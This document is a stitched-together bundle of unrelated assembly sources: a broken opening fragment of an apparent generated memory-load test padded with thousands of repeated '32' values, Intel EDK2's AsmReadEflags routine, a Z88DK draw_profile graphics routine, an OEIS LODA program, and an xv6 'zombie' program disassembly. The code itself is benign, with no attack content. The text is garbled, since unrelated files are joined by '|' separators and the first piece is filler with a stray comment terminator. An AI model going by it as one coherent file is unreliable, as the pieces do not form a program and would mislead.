{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}}
<gen_prepare_buffer>
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; ReadEflags.Asm
;
; Abstract:
;
; AsmReadEflags function
;
; Notes:
;
;------------------------------------------------------------------------------
.386
.model flat,C
.code
;------------------------------------------------------------------------------
; UINTN
; EFIAPI
; AsmReadEflags (
; VOID
; );
;------------------------------------------------------------------------------
AsmReadEflags PROC
pushfd
pop eax
ret
AsmReadEflags ENDP
END
|
;
; Z88DK Graphics Functions
;
; Draw a "gfx profile" metadata stream - Stefano Bodrato 16/10/2009
;
; void draw_profile(int dx, int dy, int scale, unsigned char *metapic);
;
; $Id: draw_profile.asm,v 1.8 2015/01/23 07:07:31 stefano Exp $
;
INCLUDE "graphics/grafix.inc"
PUBLIC draw_profile
EXTERN stencil_init
EXTERN stencil_render
EXTERN stencil_add_point
EXTERN stencil_add_lineto
EXTERN stencil_add_side
EXTERN plot
EXTERN unplot
EXTERN draw
EXTERN undraw
EXTERN drawto
EXTERN undrawto
EXTERN l_mult
EXTERN l_div
;
; DE > HL [unsigned]
; set carry if true
;
;.l_ugt
;;XREF COORDS
_areaptr: defw 0
_percent: defw 0
_cmd: defb 0
_dith: defw 0
_vx: defw 0
_vy: defw 0
_cx: defw 0
_cy: defw 0
_cx1: defw 0
_cy1: defw 0
_pic: defw 0
repcmd: defb 0
repcnt: defb 0
; moved into stack
;;_stencil: defs maxy*2
_stencil: defw 0
getbyte:
ld hl,(_pic)
ld a,(hl)
inc hl
ld (_pic),hl
ret
getx:
ld hl,(_vx)
;IF (maxx > 256)
; add hl,hl ; double size for X in wide mode !
;ENDIF
call getparm
ret
gety:
ld hl,(_vy)
call getparm
ret
getparm: ;cx=vx+percent*pic[x++]/100;
push hl
ld de,(_percent)
call getbyte
ld h,0
ld l,a
call l_mult
ld de,100
ex de,hl
call l_div
pop de
add hl,de
; ld a,$F0 ; negative value ?
; and h
; ret z
; ld hl,0
ret
; *************************
; MAIN FUNCTION ENTRY
; *************************
draw_profile:
ld ix,0
add ix,sp
ld l,(ix+2)
ld h,(ix+3)
ld (_pic),hl
ld h,0
ld l,(ix+4)
ld (_percent),hl
ld l,(ix+6)
IF (maxx > 256)
ld h,(ix+7)
ENDIF
ld (_vy),hl
ld l,(ix+8)
IF (maxx > 256)
ld h,(ix+9)
ENDIF
ld (_vx),hl
IF (maxx > 256)
ld hl,-maxy*4 ; create space for stencil on stack
ELSE
ld hl,-maxy*2 ; create space for stencil on stack
ENDIF
add hl,sp ; The stack usage depends on the display height.
ld sp,hl
ld (_stencil),hl
picture_loop:
ld a,(repcnt)
and a
jr z,norepeat
dec a
ld (repcnt),a
ld a,(repcmd)
jr noend
norepeat:
call getbyte
and a ; CMD_END ?
jr nz,noend
;******
; EXIT
;******
IF (maxx > 256)
ld hl,maxy*4 ; release the stack space for _stencil
ELSE
ld hl,maxy*2 ; release the stack space for _stencil
ENDIF
add hl,sp
ld sp,hl
ret
noend:
ld e,a
and $0F ; 'dithering level'
ld h,0
ld l,a
ld (_dith),hl
ld a,e
and $F0 ; command
ld hl,(_stencil)
;#define CMD_AREA_INIT 0x80 /* no parms */
;#define CMD_AREA_INITB 0x81 /* activate border mode */
;#define REPEAT_COMMAND 0x82 /* times, command */
cp $80 ; CMD_AREA_INIT (no parameters)
jr nz,noinit
push hl ; _stencil
ld a,(_dith)
cp 2
jr z,do_repeat
ld hl,0
ld (_areaptr),hl
and a ; no parameters ?
jr z,just_init ; then, don't keep ptr for border
dec a
jr z,init_loop ;$81 ?
; else (82..) REPEAT_COMMAND
do_repeat:
call getbyte
ld (repcnt),a
call getbyte
ld (repcmd),a
jp go_end1
init_loop:
ld hl,(_pic) ; >0, so save current pic ptr
ld (_areaptr),hl
just_init:
pop hl
push hl ; _stencil
call stencil_init
jp go_end1
noinit:
cp $F0 ; CMD_AREA_CLOSE (no parameters ?)
jr nz,noclose
;----
call is_areamode
jr z,noclsamode
push hl
ld hl,(_areaptr)
ld (_pic),hl ; update picture pointer to pass the area
ld hl,0 ; twice and draw the border
ld (_areaptr),hl
pop hl
noclsamode:
;----
push hl ; _stencil
ld hl,(_dith)
ld a,l
sub 12
jr c,doclose
; if color > 11 we roughly leave a black border by shrinking
; the stencil boundaries, then we subtract 7 and fill with the
; resulting dithering level (12..15 -> 4..7)
ld l,11 ; black border
push hl
call stencil_render
pop de
pop hl
ld hl,(_stencil) ; 'render' can destroy the current parameter
push hl
ld e,1 ; left side border
call resize
ld e,-1 ; right side border
call resize
;pop hl
;push hl
;call vshrink ; upper side border
;;;ld hl,_stencil+maxy
;ld hl,_stencil
;ld de,maxy
;add hl,de
;call vshrink ; lower side border
ld hl,(_dith)
ld a,l
sub 7 ; adjust dithering to mid values
ld l,a
doclose:
jp dorender
noclose:
push af
;----
call is_areamode
jr z,noamode ; if in 'area mode', we are doing twice;
pop af ; in the first pass, plot/line CMDs
or $80 ; are changed to the equivalent area ones
push af
noamode:
;----
pop af
push af
cp $30 ; CMD_HLINETO (1 parameter)
jr z,xparm
cp $B0 ; CMD_AREA_HLINETO (1 parameter)
jr nz,noxparm
xparm:
call getx
ld (_cx),hl
jr twoparms
noxparm:
cp $40 ; CMD_VLINETO (1 parameter)
jr z,yparm
cp $C0 ; CMD_AREA_VLINETO (1 parameter)
jr nz,noyparm
yparm:
call gety
ld (_cy),hl
jr twoparms
noyparm:
cp $50 ; CMD_LINE (4 parameters ?)
jr z,fourparms
cp $D0 ; CMD_AREA_LINE (4 parameters ?)
fourparms:
push af ; keep zero flag
call getx
ld (_cx),hl
call gety
ld (_cy),hl
pop af ; recover zero flag
jr nz,twoparms
call getx
ld (_cx1),hl
call gety
ld (_cy1),hl
twoparms:
pop af
ld hl,(_cx)
push hl
ld hl,(_cy)
push hl
cp $90 ; CMD_AREA_PLOT (x,y)
jr nz,noaplot
ld hl,(_stencil)
push hl
call stencil_add_point
jr go_end3
noaplot:
cp $A0 ; CMD_AREA_LINETO (x,y)
jr c,noaline
cp $D0
jr z,aline
jr nc,noaline ; >= CMD_AREA_VLINETO
; AREA_LINETO stuff
ld hl,(_stencil)
push hl
call stencil_add_lineto
jr go_end3
aline:
;cp $D0 ; CMD_AREA_LINE (x1,x2,y1,y2)
;jr nz,noaline
ld hl,(_cx1)
ld (_cx),hl ; update also the first parameter couple...
push hl
ld hl,(_cy1)
ld (_cy),hl ; ..so VLINE and HLINE behave correctly
push hl
ld hl,(_stencil)
push hl
call stencil_add_side
pop hl
go_end4:
pop hl
go_end3:
pop hl
go_end2:
pop hl
go_end1:
pop hl
jp picture_loop
noaline:
cp $10 ; CMD_PLOT (x,y,dither),
jr nz,noplot
ld hl,(_stencil)
ld a,(_dith)
and a ; when possible drawto/undrawto are faster
jr nz,nopwhite
call unplot
jr go_end2
nopwhite:
sub 11
jr nz,nopblack
call plot
jr go_end2
nopblack:
push hl
call stencil_init
call stencil_add_point
plend:
pop de ; stencil ptr
plend2:
pop hl
pop hl
push de ; stencil ptr
ld hl,(_dith)
ld a,l
sub 12 ; If color > 11, then fatten a bit
jr c,nothick ; the surface to be drawn
push hl
ld hl,(_stencil) ; adjust the right side
IF (maxx > 256)
ld de,maxy*2
ELSE
ld de,maxy
ENDIF
add hl,de
ld e,1 ; 1 bit larger
call resize
pop hl
ld a,l
sub 4 ; adjust color (8..11)
ld l,a
nothick:
dorender:
push hl
call stencil_render
pop hl
pop hl
ld hl,(_stencil) ; 'render' can destroy the current parameter
push hl
call stencil_init
jr go_end1
noplot:
cp $20 ; CMD_LINETO (x,y,dither),
jr c,go_end2
cp $50 ; CMD_LINE
jr z,line
jr nc,go_end2
; LINETO stuff
ld hl,(_stencil)
ld a,(_dith)
and a ; when possible drawto/undrawto are faster
jr nz,nodtwhite
call undrawto
jr go_end2
nodtwhite:
sub 11
jr nz,nodtblack
call drawto
jr go_end2
nodtblack:
push hl
call stencil_init
call stencil_add_lineto
jr plend
line:
;cp $50 ; CMD_LINE (x,y,x2,y2,dither),
;jr nz,go_end2
ld hl,(_cx1)
ld (_cx),hl ; update also the first parameter couple...
push hl
ld hl,(_cy1)
ld (_cy),hl ; ..so VLINE and HLINE behave correctly
push hl
ld hl,(_stencil)
ld a,(_dith)
and a ; when possible draw/undraw are faster
jr nz,nolwhite
call undraw
jp go_end4
nolwhite:
sub 11
jr nz,nolblack
call draw
jp go_end4
nolblack:
push hl
call stencil_init
call stencil_add_side
pop de
pop hl
pop hl
jp plend2
;
; Adjust right or left margin
; of a stencil object by 'e' dots
;
resize:
IF (maxx > 256)
;EXTERN l_cmp
; TODO
ret
ELSE
ld b,maxy-1
rslp:
ld a,(hl)
and a
jr z,slimit
cp maxx-1
jr z,slimit
add e
ld (hl),a
slimit:
inc hl
djnz rslp
ret
ENDIF
; NZ if we have prepared a ptr for two-pass mode
is_areamode:
push hl ; _stencil
ld hl,_areaptr
ld a,(hl)
inc hl
cp (hl)
pop hl
ret
;
; Cut 1st and last line from a stencil object
;
;vshrink:
; ld b,maxy-1
;ltop:
; ld a,(hl)
; and a
; jr z,slim2
; cp maxx-1
; jr z,slim2
; dec hl
; ld a,(hl)
; inc hl
; ld (hl),a
; jr bottom
;slim2:
; ld e,a
; inc hl
; djnz ltop
; ret
;bottom:
; ld b,maxy-1
;lbottom:
; inc hl
; ld a,(hl)
; and a
; jr z,slim3
; cp maxx-1
; jr nz,slim4
;slim3:
; dec hl
; ld (hl),a
; ret
;slim4:
; inc hl
; djnz lbottom
; ret
|
; A164161: Number of binary strings of length n with equal numbers of 0001 and 1000 substrings.
; Submitted by Christian Krause
; 1,2,4,8,14,26,50,100,200,400,800,1600,3200,6400,12800,25600,51200,102400,204800,409600,819200,1638400,3276800,6553600,13107200,26214400,52428800,104857600,209715200,419430400,838860800,1677721600,3355443200,6710886400,13421772800,26843545600,53687091200,107374182400,214748364800,429496729600,858993459200,1717986918400,3435973836800,6871947673600,13743895347200,27487790694400,54975581388800,109951162777600,219902325555200,439804651110400,879609302220800,1759218604441600,3518437208883200
mov $4,1
lpb $0
sub $0,1
add $2,$3
sub $4,$3
mov $3,4
sub $3,$1
mov $1,10
mul $1,$0
add $4,$2
add $1,$4
div $2,$1
mul $4,2
lpe
mov $0,$4
|
_zombie: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(void)
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 51 push %ecx
e: 83 ec 04 sub $0x4,%esp
if(fork() > 0)
11: e8 64 02 00 00 call 27a <fork>
16: 85 c0 test %eax,%eax
18: 7e 0d jle 27 <main+0x27>
sleep(5); // Let child exit before parent.
1a: 83 ec 0c sub $0xc,%esp
1d: 6a 05 push $0x5
1f: e8 ee 02 00 00 call 312 <sleep>
24: 83 c4 10 add $0x10,%esp
exit();
27: e8 56 02 00 00 call 282 <exit>
2c: 66 90 xchg %ax,%ax
2e: 66 90 xchg %ax,%ax
00000030 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
30: 55 push %ebp
31: 89 e5 mov %esp,%ebp
33: 53 push %ebx
34: 8b 45 08 mov 0x8(%ebp),%eax
37: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
3a: 89 c2 mov %eax,%edx
3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
40: 83 c1 01 add $0x1,%ecx
43: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
47: 83 c2 01 add $0x1,%edx
4a: 84 db test %bl,%bl
4c: 88 5a ff mov %bl,-0x1(%edx)
4f: 75 ef jne 40 <strcpy+0x10>
;
return os;
}
51: 5b pop %ebx
52: 5d pop %ebp
53: c3 ret
54: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
5a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000060 <strcmp>:
int
strcmp(const char *p, const char *q)
{
60: 55 push %ebp
61: 89 e5 mov %esp,%ebp
63: 53 push %ebx
64: 8b 55 08 mov 0x8(%ebp),%edx
67: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
6a: 0f b6 02 movzbl (%edx),%eax
6d: 0f b6 19 movzbl (%ecx),%ebx
70: 84 c0 test %al,%al
72: 75 1c jne 90 <strcmp+0x30>
74: eb 2a jmp a0 <strcmp+0x40>
76: 8d 76 00 lea 0x0(%esi),%esi
79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
80: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
83: 0f b6 02 movzbl (%edx),%eax
p++, q++;
86: 83 c1 01 add $0x1,%ecx
89: 0f b6 19 movzbl (%ecx),%ebx
while(*p && *p == *q)
8c: 84 c0 test %al,%al
8e: 74 10 je a0 <strcmp+0x40>
90: 38 d8 cmp %bl,%al
92: 74 ec je 80 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
94: 29 d8 sub %ebx,%eax
}
96: 5b pop %ebx
97: 5d pop %ebp
98: c3 ret
99: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
a0: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
a2: 29 d8 sub %ebx,%eax
}
a4: 5b pop %ebx
a5: 5d pop %ebp
a6: c3 ret
a7: 89 f6 mov %esi,%esi
a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000000b0 <strlen>:
uint
strlen(char *s)
{
b0: 55 push %ebp
b1: 89 e5 mov %esp,%ebp
b3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
b6: 80 39 00 cmpb $0x0,(%ecx)
b9: 74 15 je d0 <strlen+0x20>
bb: 31 d2 xor %edx,%edx
bd: 8d 76 00 lea 0x0(%esi),%esi
c0: 83 c2 01 add $0x1,%edx
c3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
c7: 89 d0 mov %edx,%eax
c9: 75 f5 jne c0 <strlen+0x10>
;
return n;
}
cb: 5d pop %ebp
cc: c3 ret
cd: 8d 76 00 lea 0x0(%esi),%esi
for(n = 0; s[n]; n++)
d0: 31 c0 xor %eax,%eax
}
d2: 5d pop %ebp
d3: c3 ret
d4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
da: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
000000e0 <memset>:
void*
memset(void *dst, int c, uint n)
{
e0: 55 push %ebp
e1: 89 e5 mov %esp,%ebp
e3: 57 push %edi
e4: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
e7: 8b 4d 10 mov 0x10(%ebp),%ecx
ea: 8b 45 0c mov 0xc(%ebp),%eax
ed: 89 d7 mov %edx,%edi
ef: fc cld
f0: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
f2: 89 d0 mov %edx,%eax
f4: 5f pop %edi
f5: 5d pop %ebp
f6: c3 ret
f7: 89 f6 mov %esi,%esi
f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000100 <strchr>:
char*
strchr(const char *s, char c)
{
100: 55 push %ebp
101: 89 e5 mov %esp,%ebp
103: 53 push %ebx
104: 8b 45 08 mov 0x8(%ebp),%eax
107: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
10a: 0f b6 10 movzbl (%eax),%edx
10d: 84 d2 test %dl,%dl
10f: 74 1d je 12e <strchr+0x2e>
if(*s == c)
111: 38 d3 cmp %dl,%bl
113: 89 d9 mov %ebx,%ecx
115: 75 0d jne 124 <strchr+0x24>
117: eb 17 jmp 130 <strchr+0x30>
119: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
120: 38 ca cmp %cl,%dl
122: 74 0c je 130 <strchr+0x30>
for(; *s; s++)
124: 83 c0 01 add $0x1,%eax
127: 0f b6 10 movzbl (%eax),%edx
12a: 84 d2 test %dl,%dl
12c: 75 f2 jne 120 <strchr+0x20>
return (char*)s;
return 0;
12e: 31 c0 xor %eax,%eax
}
130: 5b pop %ebx
131: 5d pop %ebp
132: c3 ret
133: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
139: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000140 <gets>:
char*
gets(char *buf, int max)
{
140: 55 push %ebp
141: 89 e5 mov %esp,%ebp
143: 57 push %edi
144: 56 push %esi
145: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
146: 31 f6 xor %esi,%esi
148: 89 f3 mov %esi,%ebx
{
14a: 83 ec 1c sub $0x1c,%esp
14d: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
150: eb 2f jmp 181 <gets+0x41>
152: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
158: 8d 45 e7 lea -0x19(%ebp),%eax
15b: 83 ec 04 sub $0x4,%esp
15e: 6a 01 push $0x1
160: 50 push %eax
161: 6a 00 push $0x0
163: e8 32 01 00 00 call 29a <read>
if(cc < 1)
168: 83 c4 10 add $0x10,%esp
16b: 85 c0 test %eax,%eax
16d: 7e 1c jle 18b <gets+0x4b>
break;
buf[i++] = c;
16f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
173: 83 c7 01 add $0x1,%edi
176: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
179: 3c 0a cmp $0xa,%al
17b: 74 23 je 1a0 <gets+0x60>
17d: 3c 0d cmp $0xd,%al
17f: 74 1f je 1a0 <gets+0x60>
for(i=0; i+1 < max; ){
181: 83 c3 01 add $0x1,%ebx
184: 3b 5d 0c cmp 0xc(%ebp),%ebx
187: 89 fe mov %edi,%esi
189: 7c cd jl 158 <gets+0x18>
18b: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
18d: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
190: c6 03 00 movb $0x0,(%ebx)
}
193: 8d 65 f4 lea -0xc(%ebp),%esp
196: 5b pop %ebx
197: 5e pop %esi
198: 5f pop %edi
199: 5d pop %ebp
19a: c3 ret
19b: 90 nop
19c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1a0: 8b 75 08 mov 0x8(%ebp),%esi
1a3: 8b 45 08 mov 0x8(%ebp),%eax
1a6: 01 de add %ebx,%esi
1a8: 89 f3 mov %esi,%ebx
buf[i] = '\0';
1aa: c6 03 00 movb $0x0,(%ebx)
}
1ad: 8d 65 f4 lea -0xc(%ebp),%esp
1b0: 5b pop %ebx
1b1: 5e pop %esi
1b2: 5f pop %edi
1b3: 5d pop %ebp
1b4: c3 ret
1b5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000001c0 <stat>:
int
stat(char *n, struct stat *st)
{
1c0: 55 push %ebp
1c1: 89 e5 mov %esp,%ebp
1c3: 56 push %esi
1c4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
1c5: 83 ec 08 sub $0x8,%esp
1c8: 6a 00 push $0x0
1ca: ff 75 08 pushl 0x8(%ebp)
1cd: e8 f0 00 00 00 call 2c2 <open>
if(fd < 0)
1d2: 83 c4 10 add $0x10,%esp
1d5: 85 c0 test %eax,%eax
1d7: 78 27 js 200 <stat+0x40>
return -1;
r = fstat(fd, st);
1d9: 83 ec 08 sub $0x8,%esp
1dc: ff 75 0c pushl 0xc(%ebp)
1df: 89 c3 mov %eax,%ebx
1e1: 50 push %eax
1e2: e8 f3 00 00 00 call 2da <fstat>
close(fd);
1e7: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
1ea: 89 c6 mov %eax,%esi
close(fd);
1ec: e8 b9 00 00 00 call 2aa <close>
return r;
1f1: 83 c4 10 add $0x10,%esp
}
1f4: 8d 65 f8 lea -0x8(%ebp),%esp
1f7: 89 f0 mov %esi,%eax
1f9: 5b pop %ebx
1fa: 5e pop %esi
1fb: 5d pop %ebp
1fc: c3 ret
1fd: 8d 76 00 lea 0x0(%esi),%esi
return -1;
200: be ff ff ff ff mov $0xffffffff,%esi
205: eb ed jmp 1f4 <stat+0x34>
207: 89 f6 mov %esi,%esi
209: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000210 <atoi>:
int
atoi(const char *s)
{
210: 55 push %ebp
211: 89 e5 mov %esp,%ebp
213: 53 push %ebx
214: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
217: 0f be 11 movsbl (%ecx),%edx
21a: 8d 42 d0 lea -0x30(%edx),%eax
21d: 3c 09 cmp $0x9,%al
n = 0;
21f: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
224: 77 1f ja 245 <atoi+0x35>
226: 8d 76 00 lea 0x0(%esi),%esi
229: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
230: 8d 04 80 lea (%eax,%eax,4),%eax
233: 83 c1 01 add $0x1,%ecx
236: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
23a: 0f be 11 movsbl (%ecx),%edx
23d: 8d 5a d0 lea -0x30(%edx),%ebx
240: 80 fb 09 cmp $0x9,%bl
243: 76 eb jbe 230 <atoi+0x20>
return n;
}
245: 5b pop %ebx
246: 5d pop %ebp
247: c3 ret
248: 90 nop
249: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000250 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
250: 55 push %ebp
251: 89 e5 mov %esp,%ebp
253: 56 push %esi
254: 53 push %ebx
255: 8b 5d 10 mov 0x10(%ebp),%ebx
258: 8b 45 08 mov 0x8(%ebp),%eax
25b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
25e: 85 db test %ebx,%ebx
260: 7e 14 jle 276 <memmove+0x26>
262: 31 d2 xor %edx,%edx
264: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
268: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
26c: 88 0c 10 mov %cl,(%eax,%edx,1)
26f: 83 c2 01 add $0x1,%edx
while(n-- > 0)
272: 39 d3 cmp %edx,%ebx
274: 75 f2 jne 268 <memmove+0x18>
return vdst;
}
276: 5b pop %ebx
277: 5e pop %esi
278: 5d pop %ebp
279: c3 ret
0000027a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
27a: b8 01 00 00 00 mov $0x1,%eax
27f: cd 40 int $0x40
281: c3 ret
00000282 <exit>:
SYSCALL(exit)
282: b8 02 00 00 00 mov $0x2,%eax
287: cd 40 int $0x40
289: c3 ret
0000028a <wait>:
SYSCALL(wait)
28a: b8 03 00 00 00 mov $0x3,%eax
28f: cd 40 int $0x40
291: c3 ret
00000292 <pipe>:
SYSCALL(pipe)
292: b8 04 00 00 00 mov $0x4,%eax
297: cd 40 int $0x40
299: c3 ret
0000029a <read>:
SYSCALL(read)
29a: b8 05 00 00 00 mov $0x5,%eax
29f: cd 40 int $0x40
2a1: c3 ret
000002a2 <write>:
SYSCALL(write)
2a2: b8 10 00 00 00 mov $0x10,%eax
2a7: cd 40 int $0x40
2a9: c3 ret
000002aa <close>:
SYSCALL(close)
2aa: b8 15 00 00 00 mov $0x15,%eax
2af: cd 40 int $0x40
2b1: c3 ret
000002b2 <kill>:
SYSCALL(kill)
2b2: b8 06 00 00 00 mov $0x6,%eax
2b7: cd 40 int $0x40
2b9: c3 ret
000002ba <exec>:
SYSCALL(exec)
2ba: b8 07 00 00 00 mov $0x7,%eax
2bf: cd 40 int $0x40
2c1: c3 ret
000002c2 <open>:
SYSCALL(open)
2c2: b8 0f 00 00 00 mov $0xf,%eax
2c7: cd 40 int $0x40
2c9: c3 ret
000002ca <mknod>:
SYSCALL(mknod)
2ca: b8 11 00 00 00 mov $0x11,%eax
2cf: cd 40 int $0x40
2d1: c3 ret
000002d2 <unlink>:
SYSCALL(unlink)
2d2: b8 12 00 00 00 mov $0x12,%eax
2d7: cd 40 int $0x40
2d9: c3 ret
000002da <fstat>:
SYSCALL(fstat)
2da: b8 08 00 00 00 mov $0x8,%eax
2df: cd 40 int $0x40
2e1: c3 ret
000002e2 <link>:
SYSCALL(link)
2e2: b8 13 00 00 00 mov $0x13,%eax
2e7: cd 40 int $0x40
2e9: c3 ret
000002ea <mkdir>:
SYSCALL(mkdir)
2ea: b8 14 00 00 00 mov $0x14,%eax
2ef: cd 40 int $0x40
2f1: c3 ret
000002f2 <chdir>:
SYSCALL(chdir)
2f2: b8 09 00 00 00 mov $0x9,%eax
2f7: cd 40 int $0x40
2f9: c3 ret
000002fa <dup>:
SYSCALL(dup)
2fa: b8 0a 00 00 00 mov $0xa,%eax
2ff: cd 40 int $0x40
